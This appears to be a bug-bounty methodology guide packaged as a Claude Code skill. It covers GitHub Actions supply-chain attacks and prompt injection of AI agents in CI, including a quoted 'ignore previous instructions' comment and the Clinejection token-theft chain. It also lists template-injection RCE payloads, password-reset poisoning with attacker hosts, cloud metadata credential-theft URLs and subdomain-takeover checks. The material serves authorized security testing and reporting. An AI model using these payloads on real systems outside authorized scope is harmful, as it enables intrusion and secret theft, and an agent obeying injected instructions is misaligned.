• Tag mutability — git tag -f v1 <malicious-commit> replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload → 23K repos affected → 218 confirmed secret leaks.
• Impostor commits — Fork network shares object store with parent. Attacker pushes a commit to fork, then references that commit SHA in the parent repo's uses:. GitHub resolves it because the SHA exists in the shared object store.
• RepoJacking — Org renames create a redirect. Old name becomes available. Attacker registers old org name, creates same repo, hosts malicious action. Shopify/unity-buy-sdk used MirrorNG/unity-runner → MirrorNG renamed to MirageNet → MirrorNG was claimable. Check: GET /users/<action-owner> returns 404? Takeover possible.
• Payload stealth — tj-actions memdump.py: extract secrets from Runner.Worker process memory via /proc/PID/maps + /proc/PID/mem, encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted — only attacker has the key.

7. AI Agent Security

Gate question: Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?

Verification depth:

• Trigger + prompt source — issues: opened → AI triage bot reads github.event.issue.body. The body IS the prompt. HTML comments (<!-- ignore previous instructions -->) are invisible in GitHub UI but included in the API response and thus in the AI prompt.
• Tool permissions — If the AI agent has Bash/Write/Edit tools and runs with secrets in env, prompt injection = RCE + secret exfil. allowed_non_write_users: "*" means ANY user can trigger.
• Multi-phase chain — Clinejection: prompt injection → AI runs npm install from attacker commit → Cacheract plants in npm cache → nightly publish restores cache → tokens stolen → malicious version published. A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.

8. Permissions / Secrets Hygiene

Not standalone bugs — these are force multipliers. A code-injection-medium with permissions: write-all is Critical. The same injection with permissions: { contents: read } is limited.

Chaining checklist:

• secrets: inherit on reusable workflow call → all org secrets accessible to called workflow
• permissions: block missing → repo default (often write-all)
• GITHUB_TOKEN with contents: write → CVE-2022-46258 pattern: use Contents API to create new workflow file → new workflow accesses ALL repo/org secrets (the original workflow never referenced them)

• [sisaku-security/agent-idea/bugbountyreport](https://github.com/sisaku-security/agent-idea/tree/main/bugbountyreport) — 36 real-world reports with full attack chains
• [sisakulint docs/advisory](https://sisaku-security.github.io/lint/docs/advisory/) — 38 GHSAs with detection mapping
• [DEF CON 32: Grand Theft Actions](https://media.defcon.org/DEF%20CON%2032/) — Khan & Stawinski, $250K+ in self-hosted runner bugs
• [Synacktiv: GitHub Actions Exploitation (5 parts)](https://www.synacktiv.com/en/publications/github-actions-exploitation-introduction)

Detection Payloads

{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)

Where to Test

• Name/bio/description fields (profile pages)
• Email templates (invoice name, username in confirmation email)
• Custom error messages
• PDF generators (invoice, report export)
• URL path parameters
• Search queries reflected in results

Jinja2 -> RCE (Python / Flask)

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig -> RCE (PHP / Symfony)

{{["id"]|filter("system")}}

Freemarker -> RCE (Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

ERB -> RCE (Ruby on Rails)

<%= `id` %>

Detection

# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
# Automated takeover detection nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt

Quick-Kill Fingerprints

"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify

Impact Escalation

• Basic takeover: serve page under target.com subdomain -> Low/Medium
• + Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
• + OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
• + CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical

Path 1: Password Reset Poisoning (Host Header Injection)

POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server

Path 2: Reset Token in Referrer Leak

Path 3: Predictable / Weak Reset Tokens

# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50

Path 4: Token Not Expiring / Reuse

Path 5: Email Change Without Re-Authentication

PUT /api/user/email
{"new_email": "attacker@evil.com"}
# If no current_password required -> attacker changes email -> locks out victim

Path 6: OAuth Account Linking Abuse

Path 7: Session Fixation

S3 / GCS / Azure Blob

# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common names for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do   curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/" done

EC2 Metadata (via SSRF)

http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical
# GCP (needs header Metadata-Flavor: Google): http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (needs header Metadata: true): http://169.254.169.254/metadata/instance?api-version=2021-02-01

Firebase Open Rules

curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical

Exposed Admin Panels

/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env

Kubernetes / Docker

# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/json

# PHASE 4: VALIDATE

All 7 must be YES. Any NO -> STOP.

Q1: Can I exploit this RIGHT NOW with a real PoC?

Q2: Does it affect a REAL user who took NO unusual actions?

Q3: Is the impact concrete (money, PII, ATO, RCE)?

Q4: Is this in scope per the program policy?

Q5: Did I check Hacktivity/changelog for duplicates?

Q6: Is this NOT on the "always rejected" list?

Q7: Would a triager reading this say "yes, that's a real bug"?

Gate 0: Reality Check (30 seconds)

[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)

Gate 1: Impact Validation (2 minutes)

[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely

Gate 2: Deduplication Check (5 minutes)

[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs

Gate 3: Report Quality (10 minutes)

[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix

Typical Scores by Bug Class

# ALWAYS REJECTED -- Never Submit These

Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.

N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.

These low findings become valid bugs when chained:

# PHASE 5: REPORT

``` Title: [Vuln Class] in [endpoint/feature] leads to [Impact]

[2-3 sentences: what it is, where it is, what attacker can do]

• Log in as attacker (account A)
• Send request: [paste exact request]
• Observe: [exact response showing the bug]
• Confirm: [what the attacker gained]

[Screenshot / video of exploitation] [Burp Suite request/response]

An attacker can [specific action] resulting in [specific harm]. [Quantify if possible: "This affects all X users" or "Attacker can access Y data"]

CVSS 3.1 Score: X.X ([Severity label]) Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None ```

• Start sentences with the impact, not the vulnerability name
• Write like you're explaining to a smart developer, not a textbook
• Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
• One concrete example beats three abstract sentences
• No em dashes, no "comprehensive/leverage/seamless/ensure"

[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]

Good titles:

IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts Stored XSS in profile bio field executes in admin panel -- allows privilege escalation SSRF via image import URL parameter reaches AWS EC2 metadata service Race condition in coupon redemption allows same code to be used unlimited times

Bad titles:

IDOR vulnerability found Broken access control XSS in user input Security issue in API

When payout is being downgraded, use these counters:

# RESOURCES

• [HackerOne Hacktivity](https://hackerone.com/hacktivity) -- Disclosed reports
• [Bugcrowd Crowdstream](https://bugcrowd.com/crowdstream) -- Public findings
• [Intigriti Leaderboard](https://www.intigriti.com/researcher/leaderboard)

• [PortSwigger Web Academy](https://portswigger.net/web-security) -- Free vuln labs (best)
• [HackTricks](https://book.hacktricks.xyz) -- Attack technique reference
• [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) -- Payload reference
• [Solodit](https://solodit.cyfrin.io) -- 50K+ searchable audit findings (Web3)
• [ProjectDiscovery Chaos](https://chaos.projectdiscovery.io) -- Free subdomain datasets

• [SecLists](https://github.com/danielmiessler/SecLists) -- Comprehensive wordlists
• [HowToHunt](https://github.com/KathanP19/HowToHunt) -- Step-by-step vuln hunting
• [DefaultCreds](https://github.com/ihebski/DefaultCreds-cheat-sheet) -- Default credentials

• [XSSHunter](https://xsshunter.trufflesecurity.com/) -- Blind XSS detection
• [interactsh](https://app.interactsh.com) -- OOB callback server

# INSTALLATION (Claude Code Skill)

To use this as a Claude Code skill, copy this file to your skills directory:

# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
# Option B: Direct copy mkdir -p ~/.claude/skills/bug-bounty curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \   -o ~/.claude/skills/bug-bounty/SKILL.md

Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.

• bug-bounty — When the user wants general bug-bounty guidance rather than tool location. Workflow primitive: bug-bounty is the orchestrator and routes to topic-matched hunt-* skills; this skill (bb-local-toolkit) answers "where is the tool / wordlist / clone on disk for that hunt?"
• web2-recon — When recon needs to be run via specific tool invocations. Workflow primitive: this skill names the local install path (e.g., ~/tools/SecretFinder/.venv/bin/activate); web2-recon is the pipeline that strings those tool paths together.
• offensive-osint — When the operational arsenal (probes, regexes, wordlists) needs a tool to execute it. Workflow primitive: offensive-osint provides the regex / probe; this skill provides the local trufflehog / jhaddix / SecLists clone that runs it.
• security-arsenal — When the payload library needs a tool to fire payloads at scale. Workflow primitive: security-arsenal is the payload syntax; this skill names the ffuf / dalfox / ghauri install that delivers them.
• bb-methodology — When Phase 1 (Recon) or Phase 3 (Discovery) needs tooling routed. Workflow primitive: bb-methodology's "Tool Routing by Phase" table is general; this skill resolves the abstract tool names to concrete local paths.